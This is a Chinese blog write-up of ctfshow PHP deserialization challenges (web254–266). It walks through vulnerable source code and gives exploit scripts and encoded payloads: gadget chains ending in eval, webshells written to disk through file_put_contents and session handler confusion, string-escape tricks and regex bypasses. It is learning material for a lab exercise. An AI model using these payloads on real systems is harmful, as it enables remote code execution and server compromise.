网站制作公司美股上市/哪里做网站便宜

网站制作公司美股上市,哪里做网站便宜,建工网校官网论坛入口,w3c网站怎么做目录 web254 web255 web256 web257 web258 web259 web260 web261 web262 web263 web264 web265 web266 web254 源码 <?php/* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-02 17:44:47 # Last Modified by: h1xa # Last Modified time: 2020…

目录

web254

web255

web256

web257

web258

web259

web260

web261 

web262

web263

web264

web265

web266


web254

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
//mytime 2023-12-4 0:22
*/
error_reporting(0);//不显示任何错误报告
highlight_file(__FILE__);//高亮显示
include('flag.php');//文件包含一个flag.php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){//返回属性值 真/假return $this->isVip;}public function login($u,$p){//如果属性username等于参数u 属性password等于p 赋值isvip为真if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){ //如果vip为真 global $flag;//在函数内部访问全局变量$flagecho "your flag is ".$flag;//输出$flag}else{echo "no vip, no flag";//如果vip为假输出 不是flag}}
}
$username=$_GET['username'];//获取参数username和password
$password=$_GET['password'];
if(isset($username) && isset($password)){//如果存在参数值$user = new ctfShowUser();//实例化ctfshowuser为user对象if($user->login($username,$password)){//调用login方法 返回为真执行下列语句块if($user->checkVip()){$user->vipOneKeyGetFlag();//这是我们的目的}}else{echo "no vip,no flag";}
}

分析半天发现传参username=xxxxx password=xxxxx就可以了

反过来一想在序列化的时候用不上我们的参数 其实就可以判定这道题和反序列化没什么关系


web255

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 13:28
*/
//感觉和上一道题没什么区别 
//发现有反序列化了 真开心
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){ //判断vip是否为真return $this->isVip;}public function login($u,$p){ //如果参数和属性相等返回真return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){//只有这个函数才能输出我们想要flagif($this->isVip){//vip必须为真global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);//反序列化 值从cookie的user中传进来 估计得抓包修改ccokie的值 并且if($user->login($username,$password)){//这就相当于 cookie中user为序列化的字符串 而且是当前类的,对属性没啥要求就写一个当前类的序列化的poc就行if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

代码分析在代码中 现在抓包

呀没有cookie字段呀(我是小白) 找教程

发现浏览器使用f12 应用程序里面有个cookie 在这里可以手动设置cook(学习到了)这能这关根本就没有设置cookie 但是浏览器可以手动提交一个 后端也会进行处理获取cookie

构造poc代码

为什么要进行url编码呢 在cookie中"算截断 所以必须要进行url编码,在传输过程中原始数据和url编码后的数据都能通过浏览器进行传输

exp

<?php
class ctfShowUser{public $username='1';public $password='2';public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

得出poc

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

放到cookie中

在抓包中的表单中手动添加也可以

传入username=1 password=2 成功

我感觉在构造poc的时候 属性不需要设置username和password的值 只需要这是vip的值是true就可以 尝试一下

构造poc代码

exp

<?php
class ctfShowUser{public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

也可以成功


web256

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 13:44
*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){//这里必须让username和password的值不一样echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){//判断传进来的参数$user = unserialize($_COOKIE['user']);    //获取cookie里面的user值 并进行反序列化if($user->login($username,$password)){//判断传进来的参数和cookie反序列化对象中的值是否一样if($user->checkVip()){//在反序列化过程中必须让vip为true$user->vipOneKeyGetFlag();//反序列化过程中让username和password的值不一样}}else{echo "no vip,no flag";}
}

web255中一共有两种方法 第一种方法在反序列化中 让username和password的值等于1和2 vip为true 就是这道题的答案(其实在web255中真正简便的通关就是第二种方法,第一种繁琐一点)

构造poc代码

exp

<?php
class ctfShowUser{public $username='1';public $password='2';public $isVip=True;
}
$c=new ctfShowUser();
echo urlencode(serialize($c));

放入cookie中并进行传值 username=1 password=2 成功


web257

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/4 14.30
*/error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';//设置一个class变量public function __construct(){$this->class=new info();//?在实例化过程中 这是为info实例化?}public function login($u,$p){//username和password的值必须相等return $this->username===$u&&$this->password===$p;}public function __destruct(){//在反序列化过程中 调用getinfo方法?$this->class->getInfo();//必须先让__construct执行 才能执行这个}}class info{ //原来info类在这里呢private $user='xxxxxx';public function getInfo(){return $this->user;//getinfo在这里呢 返回user的值}
}
class backDoor{private $code;public function getInfo(){eval($this->code);//估计这就是我们利用的地方 有eval}
}$username=$_GET['username'];//获取两个参数
$password=$_GET['password'];if(isset($username) && isset($password)){//如果两个参数存在$user = unserialize($_COOKIE['user']);//反序列化cookie中的user$user->login($username,$password);//在这里就能确定cookie中必须让ctfshowuser反序列化,这个时候user才是类的ctfshowuser的对象 这样才能执行这条语句
}   //最后发现这最后login没有用
//发现正常反序列化不会执行__construct 不能让class为 info的对象 反过来一看 没必要让info实例化为class 因为 info中没有我们可以利用的
//在触发__destruct前 让calss成为backDoor的对象就行  那就在poc构造的时候让class为backdoor即可
//发现如果想要触发eval 只要随便传user和password vip也随便 只要保证class为backDoor的对象就可以

说实话有点蒙住了 研究发现这道题不需要 username 和password和vip 随便传参数就行 只要能保证 在反序列化的过程中calss为backDdoor的对象就可以 

exp

写完这个exp很爽 因为我看大佬们的很长 没必要写那么长

<?php
class ctfShowUser{private $class;//这里也是一个注意点 不能在属性直接进行backDoor实例化 public function __construct(){$this->class=new backDoor();}
}
class backDoor{private $code="eval(\$_GET['a']);";//注意在这里code 里面的值只是字符串 必须让$当成字符 如果不当成字符 他很容易从url中获取a的参数,容易在这里就会报错 //这里还有一个点就是把eval(\$_GET['a']);当成参数 最后变成eval(eval(\$_GET['a'])); 有一个好处这个时候 不用每次都进行构造poc 只需要传参的时候加入一个a参数就可以
}
$ctf=new ctfShowUser();
echo urlencode(serialize($ctf));//url一个道理在cookie中"用来截断 必须进行url编码

poc

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

将poc放入cookie中 username和password随便传参 a传参为我们想执行的命令system('tac flag.php'); 单引号必须有 这个tac我换成cat就不行 他们说过滤了我还是多少有点纳闷 哈哈 tac就是反序 cat正序

成功(很开心 获取到flag特别有成就)


web258

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){ //只有反序列化无法触发 只能在构造poc的时候触发让clss为backDoor的对象$this->class=new info();}//整体分析后这个函数没什么用public function login($u,$p){  return $this->username===$u&&$this->password===$p;}public function __destruct(){ //反序列化触发 并且class为backDoor的对象 就能执行backDoor中的getinfo方法$this->class->getInfo();}
}
//这个类也没有用
class info{                   public $user='xxxxxx';public function getInfo(){return $this->user;}
}                              
class backDoor{
public $code;//在工作poc的时候让code为我们需要执行的命令 或者 eval(\$_GET['a']); 不要忘记这有个反斜杠 让$变为单纯的字符 这样就能成功能当eval()的参数了 不会报错public function getInfo(){eval($this->code);//这个eval依旧是我们获取flag的地方}
}
$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){//加上了过滤条件 o:6 写成o:+6就可以$user = unserialize($_COOKIE['user']);//进行反序列化}$user->login($username,$password);
}
/

和上一题基本一样就是加上了一个过滤条件o:1改成o:+1

错误 exp

<?php
class ctfShowUser{private $class;public function __construct(){$this->class=new backDoor();}
}
class backDoor{private $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace(':11',':+11',$ctf);
$ctf=str_replace(':8',':+8',$ctf);
echo urlencode($ctf);

正确 exp(当时为了方便直接使用了上一题的exp导致 序列化的class和pricate为私有属性,真是一个教训,研究了20分钟。)

<?php
class ctfShowUser{public $class;public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);

poc

O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

将poc传入cookie中 并传参usernmae=任意值 password=任意值 a=我们想要执行的命令 system('tac flag.php');注意 上两道题我还说呢cat什么的不好使 原来都在源代码中

成功


web259

不会 学完ssrf再做 里面还有nc等内容


web260

这题比较简单 只要传入的参数里面包含ctfshow_i_love_36D字符串 这个if语句就为真

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}

看一下serialize序列化的ctfshow_i_love_36D结果

<?php
$a="ctfshow_i_love_36D"
echo serialize($a)

输出 序列化里面也包括ctfshow_i_love_36D字符串 所以直接就能获取到flag

s:18:"ctfshow_i_love_36D";

传参 成功


web261 

mytime 2023/12/4 20:48
<?phphighlight_file(__FILE__);
class ctfshowvip{public $username;public $password;public $code;//不用管 public function __construct($u,$p){//将传进来的参数赋值给属性username和password$this->username=$u;$this->password=$p;}//不用管 public function __wakeup(){//反序列化会执行到这 有__unserialize这个魔术方法就会绕过if($this->username!='' || $this->password!=''){die('error');//只要是程序执行到这 就立马暂停程序 所以不能让他俩的值为空}}//不用管 没有将对象当成函数进行调用的情况public function __invoke(){//将对象当成函数进行调用就会触发 这里有eval 必须让invoke触发才行 并且code为我们需要执行的命令eval($this->code);}//不用管 用不上没有序列化的情况public function __sleep(){//序列化的时候自动调用该方法 会赋值username和password位空 这是我们不想要到的结果$this->username='';$this->password='';}//触发时间和wakeup一样public function __unserialize($data){//普通的一个方法 将数组中的username和password赋值给属性 这是我们想要的结果 并且code是从username和password中来的 这两个属性结合起来才是我们想要执行的命令$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){//反序列化会执行到这if($this->code==0x36d){ //如果code=877 0x36d为整形算是弱类型比较 877a 877.php都会判断相等file_put_contents($this->username, $this->password);//将password的内容写入到username中}}
}unserialize($_GET['vip']); 

审计代码发现:

  1. 有__unserialize()(7.4以上版本才有),在7.4以上版本反序列化会绕过__wakeup()函数。
  2. 在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿
  3. $this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字,且数字是877,那么877a877.php等可以通过比较;所以设置username='877.php'来通过比较

额外知识

当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

exp

<?php
class ctfshowvip{public $username='877.php';public $password='<?php eval($_GET[a]);?>';public $code;}
$c=new ctfshowvip();
echo serialize($c);

输出

O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:23:"";s:4:"code";N;}

估计是一句话木马的原因 不知道哪里给杀没了 手动添加进去就行

O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:23:"<?php eval($_GET[a]);?>";s:4:"code";N;}

传参后 877这个文件就生成出来了 里面的内容就是一句话木马 访问877并以GET方式加入参数a=我们需要执行的命令,先查看一下flag在哪

输出flag文件 成功 

在这里提一句一句话木马GET方式POST方式都可以 只是不同的方式提交参数而已

刚刚一句话木马莫名其妙被sha了 看看直接生成url的方式能不能被sha掉

发现直接生成url的方式 一句话木马还在


web262

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){//传入三个参数$msg = new message($f,$m,$t);//将message实例化 通过魔术方法将传进来的参数赋值给对象中的属性$umsg = str_replace('fuck', 'loveU', serialize($msg));//序列化这个对象生成字符串 并且匹配字符串中的fuck替换为loveusetcookie('msg',base64_encode($umsg));//将这个字符串进行base64编码 当做名为msg的cookie传到客户端echo 'Your message has been sent';
}
highlight_file(__FILE__);

看代码说是发给客户端一个cookie 随便传一个值发现在本地cookie记录里已经收到了传过来的cookie

分析半天是在不会 看大师傅的视频 听完讲的我就感慨 我就说的吗这个页面无论咋修改也获取不到flag呀 原来是还有一个页面就在最上方给你提示有个message.php 我是发现了做ctf题就要眼观六路耳听八方 越细越好 大师傅的教程没看啥这个逃逸我会 我就没继续看了 按照大师傅说的预期和非预期两种方式

message.php文件

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){//从cookie中获取msg 如果存在值$msg = unserialize(base64_decode($_COOKIE['msg']));//先base64解码 再反序列化为masgif($msg->token=='admin'){//如果token为admin就能获取flagecho $flag;}
}

看到这个页面才知道 这才是获取flag的页面 第一个页面只是生成poc的一个页面 (两种 第一个页面通过构造参数 直接让第一个页面发送过来一个cookie,这也是正常方式,必须通过第一个页面生成cookie 第二种,不正常方式 就是借用第一个页面的代码制作出poc 手动添加到浏览器的ccokie中,直接构造一个token=admin的序列化的字符串 手动添加到cookie中,虽然这种方式简单,但没通过第一个页面,不符合题目规则)

正常方式就是 逃逸方式(正常方式思路,只能通过第一个页面进行生成cookie)

因为第一个页面中提交的参数

一步一步来

exp

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{public $from=a;public $msg=b;public $to=c;public $token='admin';
}$msg = new message();echo $msg;//$msg = str_replace('fuck', 'loveU', serialize($msg));//替换//setcookie('msg',base64_encode($umsg));//echo 'Your message has been sent';

输出

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

毕竟是学习吗那就是用字符串增多逃逸和字符串减少逃逸 都试一试

字符串增多逃逸

四个属性但是我们传参数的时候只能传3个参数 如何让token属性成功反序列化值为admin呢 就用到了字符串逃逸的方式

虽然我们传入3个参数 但是这个对象依旧是有4个属性 token从原始类中获取的值为user

";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}这是需要吐出来的 于是需要62个fuck

和需要吐出来的尽心拼接

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

当成第一个参数传值

访问message页面 直接就能获取刚刚发给客户端的cookie

成功

字符串减少逃逸

弄了半天其实用不了减少逃逸

原因 token他会自动添加到对象的属性中 这个时候倒是能通过字符串减少把token的参数user给吃进来 但是后续的我们需要添加的";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 通过传参必须要传给最后属性的token中 但是传参我们可控的只有前三个参数 所以无法使用减少逃逸的方式,现在过了一天了 我又发现这道题就是将fuck替换成loveu 并没有loveu替换成fuck 哈哈 只能进行字符串增多逃逸

非预期解就是直接修改构造一个序列化的字符串里面有4个属性  直接在message页面手动修改cookie即可

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

需要base64编码

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

直接访问页面无反应

手动添加cookie 成功


web263

登录页面  第一次反序列化遇见这种题型

大师傅说有源码泄露有个www.zip的压缩包

有用的代码

index.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);//如果session中limit的值大于5就登录失败 否则对cookie中的limit的值进行base64解码赋值给session中的limit//cookie的值存储在浏览器中 //$_SESSION['limit'] 是用于在用户会话期间存储和跟踪信息的 PHP 会话变量。它的值存储在服务器端,只在当前用户会话中有效。//这意味着只有在用户保持登录状态时,$_SESSION['limit'] 的值才会保留,并且在不同页面之间共享。$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);//将cookie的值解码后+1再进行编码}else{//如果session的值为空 设置名为limit的值为1 session中limit的值也为1setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?>

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php'); //session以 PHP 序列化的形式存储在服务器上
date_default_timezone_set("Asia/Shanghai");//时间为上海
session_start();//启动 PHP 会话功能,允许使用 $_SESSION 变量来存储和访问会话数据。
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW(['database_type' => 'mysql','database_name' => 'web','server' => 'localhost','username' => 'root','password' => 'root','charset' => 'utf8','port' => 3306,'prefix' => '','option' => [PDO::ATTR_CASE => PDO::CASE_NATURAL]
]);
//以上进行数据库链接// sql注入检查
function checkForm($str){if(!isset($str)){//参数如果不存在返回truereturn true;}else{//如果有参数 使用正则进行一大堆的过滤return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);}
}
//定义了一个类
class User{public $username;public $password;public $status;//如果TRUE代表成功 FALSE代表失败function __construct($username,$password){//序列化的死后将传入的参数赋值给属性username和password$this->username = $username;$this->password = $password;}function setStatus($s){//就是一个普通的方法 将传入的参数赋值给属性status$this->status=$s;}function __destruct(){//反序列化的时候 file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}

经过测试不登陆的时候它默认就有cookie id=1

在index.php中

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

他的session的键名写错了 我们直接就能执行下一步绕过了这个限制 并且成功将cookie的值赋值给session中,在inc的文件中作者特意声明了存储session的方式为php,那就证明php.ini中默认是php_serialize方式 index.php的方式就是默认的,这个时候session从cookie获取的数据会以php_serialize的方式存储在服务器的session文件中

在inc文件中

 session_start() 函数会解析 session 文件,因为设置了解析方式为php,就相当于进行了反序列化

并且inc中有一个user类 并且有个__destruct()魔术方法 内容就是生成一个log-$username文件用来记录日志,日志内容就有password参数

这就有思路了

1、构造一个poc 序列化形式的,里面是user的类 username为1.php password为一句话木马 手动通过第一个页面的cookie提交

这个时候服务器会将session信息以php_serialize的方式存储到session文件中

2、直接访问inc页面 因为有 session_start()所以自动使用php方法会以反序列化的方式解析session的键值从而获取数据  因为采用的是反序列化并且我们构造的字符串是user类的,就能出发魔术方法 从而将一句话木马写入一个log-1.php的文件中,php方法会将竖线的后面当成键值 所以要在poc前加入一个|

exp

注意一句话木马不行 必须在后面加上一个phpinfo()不知道是什么原因 记住就行 如果单独的一句话木马不行 就加一个phpino() 大师傅说可能是内部编码的问题 不懂

<?php
class User{public $username;public $password;function __construct($username,$password){//序列化的死后将传入的参数赋值给属性username和password$this->username = $username;$this->password = $password;}
}
$user = new User('tzy.php','<?php eval($_GET[a]);phpinfo();?>');
echo base64_encode('|'.serialize($user));

开始构造poc

无编码样式

|O:4:"User":2:{s:8:"username";s:5:"tzy.php";s:8:"password";s:33:"<?php eval($_GET[a]);phpinfo();?>";}

base64编码结果

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJ0enkucGhwIjtzOjg6InBhc3N3b3JkIjtzOjMzOiI8P3BocCBldmFsKCRfR0VUW2FdKTtwaHBpbmZvKCk7Pz4iO30=

登陆页面传入cookie后 直接访问check.php(包含inc.php)  直接访问我们生成的日志文件

使用ls看看当前目录下有什么文件

发现有个flag.php文件

查看后获取到了flag

web264

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();//启动一个session会话 可以使用session变量了
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){//序列化的时候将三个参数赋值给三个属性$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];//GET方式获取三个参数
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){//如果存在$msg = new message($f,$m,$t);//进行序列化$umsg = str_replace('fuck', 'loveU', serialize($msg));//如果检测到fuck就替换成lovU 一看就是字符串增多逃逸$_SESSION['msg']=base64_encode($umsg);//将结果进行base64编码赋值给session的msgecho 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();//启动session会话
highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){//如果cookie中存在名为msg的值$msg = unserialize(base64_decode($_SESSION['msg']));//对session中masg的值进行base解码然后反序列化if($msg->token=='admin'){echo $flag;}
}

我们发现 第一个页面会把获取到的参数信息存到session中 mession会将session中的信息进行反序列化,但是有一个前提条件 cookie中有msg值,cookie的msg和session不是一个值 cookie的msg 我们需要手动添加  随意值就行

分析

//第一个页面正常情况下的序列化的字符串
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//但是我们只能提交三个参数 无法修改token的值
//只能使用字符串增多逃逸
//需要吐出来的 ";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";} 一共62个字符 每个fuck变成loveu能吐出1个字符
//需要62个fuck
//fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck
//和需要吐出来的字符串进行拼接得出
//O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//直接进行传值

exp

<?php
class message{public $from='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}';public $msg=b;public $to=c;public $token='admin';
}$msg = serialize(new message());echo $msg;

输出

传值

访问message.php 访问前手动添加一个名为msg的cookie 值任意

成功给获取flag


web265

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;//三个等于号代表恒等于 类型和值必须都相等}
}
$ctfshow = unserialize($_GET['ctfshow']);//反序列化传入来的 ctfshow值
$ctfshow->token=md5(mt_rand());//将任意值进行md5加密 赋值给roken
if($ctfshow->login()){ //如果token恒等于password才能得到flagecho $flag;
}

通过代码分析 光值等于还不行必须是恒等于 就要使用引用了

手写poc

O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

解释:token的值第一次调用该类 password的值R:2代表该值第二次调用该类

我好像明白怎么解释了 这里ctfshowAdmin是第一个位置 token是第二个位置 R代表引用 R:2代表引用第二个位置 哈哈哈 这是正确解释

最好不要直接手写poc 很容易出错

解释的不容易理解,就是他俩变量指向同一个位置 也就相当于他俩恒等于

exp

<?php
class ctfshowAdmin{public $token;public $password;public function __construct(){$this->token;$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);

web266

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

$cs = file_get_contents('php://input'); 获取post提交的数据

直接大小写绕过

